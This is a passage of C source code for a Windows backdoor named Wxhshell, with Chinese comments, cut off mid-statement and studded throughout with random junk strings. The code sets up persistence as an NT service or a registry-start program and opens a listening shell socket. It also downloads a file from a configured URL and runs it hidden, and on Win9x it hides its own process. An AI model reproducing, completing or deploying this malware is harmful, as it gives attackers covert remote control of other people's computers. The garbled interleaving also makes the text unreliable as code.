hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _sTROd)Vh if(hProcess==NULL) return 0; )8$=C#qC[ ^G}47( HMODULE hMod; rR(X9i char procName[255]; % ~H=sjg unsigned long cbNeeded; QC}CRkp 'Wmx)0) if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \RC'XKQ*n 5Ou`z5S\k CloseHandle(hProcess); woK&q 7Vn RO'7\xvn if(strstr(procName,"services")) return 1; // 以服务启动 }E50>g h eV=)8 return 0; // 注册表启动 ^LoUi1j } 6\q]rfQ rE.;g^4p // 主模块 RwpdRBb int StartWxhshell(LPSTR lpCmdLine) D$I5z.a { wNpTM8rfU# SOCKET wsl; Y,^@P BOOL val=TRUE; ).`1+b int port=0; jK& h~) struct sockaddr_in door; 5>D>% iaHv GLeK'0Q@ if(wscfg.ws_autoins) Install(); f Sa"%8% 1SCR.@k< port=atoi(lpCmdLine); {tYZt4!{^ %N>%!m if(port<=0) port=wscfg.ws_port;
2y;Skp N_W}*2( WSADATA data; 8c9*\S if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _x(o*v[Pt Ch<[l8;K if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F%@aB<Nu setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BBwy,\o# door.sin_family = AF_INET;
3KlbP door.sin_addr.s_addr = inet_addr("127.0.0.1"); gd`!tRcNY door.sin_port = htons(port); i@"@9n~ M_/7D|xl/T if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QI'Oz{vE closesocket(wsl); "K6&dk jY return 1; [+n*~ } o ,AAC aBNc(?ri if(listen(wsl,2) == INVALID_SOCKET) { dx MOn closesocket(wsl); jCOIuw return 1; )rn*iJ.e8 } OEA&~4&{7 Wxhshell(wsl); 'vbsv T WSACleanup(); }ppN k:B <Tzrj1"Q3 return 0; D9^h;
8 -*X a3/kQ } *x@Onj .WA-&b_ // 以NT服务方式启动 CQF:Rnb VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x[~b2o { Lt?lv2k=L DWORD status = 0; gmw|H?] DWORD specificError = 0xfffffff; cQCSe,$ W SJb&m- serviceStatus.dwServiceType = SERVICE_WIN32; . qO@Q = serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2_HNhW
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qkDI](4 serviceStatus.dwWin32ExitCode = 0; ^c"jH'#.L serviceStatus.dwServiceSpecificExitCode = 0; '3/4?wi serviceStatus.dwCheckPoint = 0; vdivq^%=a serviceStatus.dwWaitHint = 0; {6|38$Rl Y!-M_v / hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 46_xyz3+ if (hServiceStatusHandle==0) return; _.tVSVp _n0CfH.v status = GetLastError(); }~e8e if (status!=NO_ERROR) 2=,lcWr { :}'=`wa serviceStatus.dwCurrentState = SERVICE_STOPPED; #A1%gIw<v2 serviceStatus.dwCheckPoint = 0; 9-&Ttbb4)0 serviceStatus.dwWaitHint = 0; sJL&:!}V> serviceStatus.dwWin32ExitCode = status; ^oBtfN>4 serviceStatus.dwServiceSpecificExitCode = specificError; tqE6>"jD SetServiceStatus(hServiceStatusHandle, &serviceStatus); _{I3i:f9X8 return; DE}K~}sbd } +\d56j+D I8hz(2jI serviceStatus.dwCurrentState = SERVICE_RUNNING; 36}?dRw#p serviceStatus.dwCheckPoint = 0; o4G ?nvK- serviceStatus.dwWaitHint = 0; CGW.I$u if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T*Y~\~Jhu } [kVS
O a!6{:8Zi0 // 处理NT服务事件,比如:启动、停止 >)fi^ VOID WINAPI NTServiceHandler(DWORD fdwControl) q/4J.jL { 9UdM`v)( switch(fdwControl) rK' L6o { EH+"~-v)ae case SERVICE_CONTROL_STOP: u^@f&BIG]: serviceStatus.dwWin32ExitCode = 0; }eCw6 serviceStatus.dwCurrentState = SERVICE_STOPPED; H%qsjB^ serviceStatus.dwCheckPoint = 0; 1gL2ia serviceStatus.dwWaitHint = 0; b|l:fT?& { j/323Za+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); `uv2H$ } W#9BNKL return; u_w#gjiC case SERVICE_CONTROL_PAUSE: @K &GJ serviceStatus.dwCurrentState = SERVICE_PAUSED; B3pCy~*5 break; o |{5M|nD case SERVICE_CONTROL_CONTINUE: \tf<B\oa serviceStatus.dwCurrentState = SERVICE_RUNNING; !`Fxa4i> break; >K_(J/&p case SERVICE_CONTROL_INTERROGATE: *'Sd/%8{ break; n`? py }; !,wIQy_e4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); o5Dk:Bw } x[FJgI'r ~Z\8UsVN // 标准应用程序主函数 c,np2myd int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u@Ih GME { \pa"%c) ~^NtO // 获取操作系统版本 u1J0$ OsIsNt=GetOsVer(); Ec!"O3%!M^ GetModuleFileName(NULL,ExeFile,MAX_PATH); z`.<U{5 Sj%u)#Ub // 从命令行安装 7Od
-I*bt if(strpbrk(lpCmdLine,"iI")) Install(); 'F+C4QAq [<lHCQXJ/ // 下载执行文件 5V?&8GTe if(wscfg.ws_downexe) { 7-bd9uVK if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F&!6jv WinExec(wscfg.ws_filenam,SW_HIDE); B~1_ 28\ } j8v8uZ;x >8~.wXyoC if(!OsIsNt) { !a{^=#qq&I // 如果时win9x,隐藏进程并且设置为注册表启动 LC,F
<>w1 HideProc(); b o6d)Q StartWxhshell(lpCmdLine); k :(SCHf } ISYXH9V else
(ZS}G8 if(StartFromService()) ]FJjgu< |